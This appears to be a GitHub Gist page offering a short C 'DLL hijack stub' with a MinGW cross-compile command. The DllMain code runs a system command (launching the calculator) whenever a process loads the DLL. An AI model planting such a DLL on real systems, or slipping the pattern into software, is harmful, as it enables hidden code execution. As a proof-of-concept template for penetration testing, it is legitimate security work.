Skip to content

Instantly share code, notes, and snippets.

@mirchr
Created February 7, 2021 17:50
Show Gist options
  • Save mirchr/8420d6acf072cf388e7145babe88ca18 to your computer and use it in GitHub Desktop.
Save mirchr/8420d6acf072cf388e7145babe88ca18 to your computer and use it in GitHub Desktop.
Simple DLL Hijack Stub
/* Cross Compile with
i686-w64-mingw32-g++ calc.c -o calc32.dll -shared
*/
#include <windows.h>
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
system("calc");
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
}
return TRUE; // Successful DLL_PROCESS_ATTACH.
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment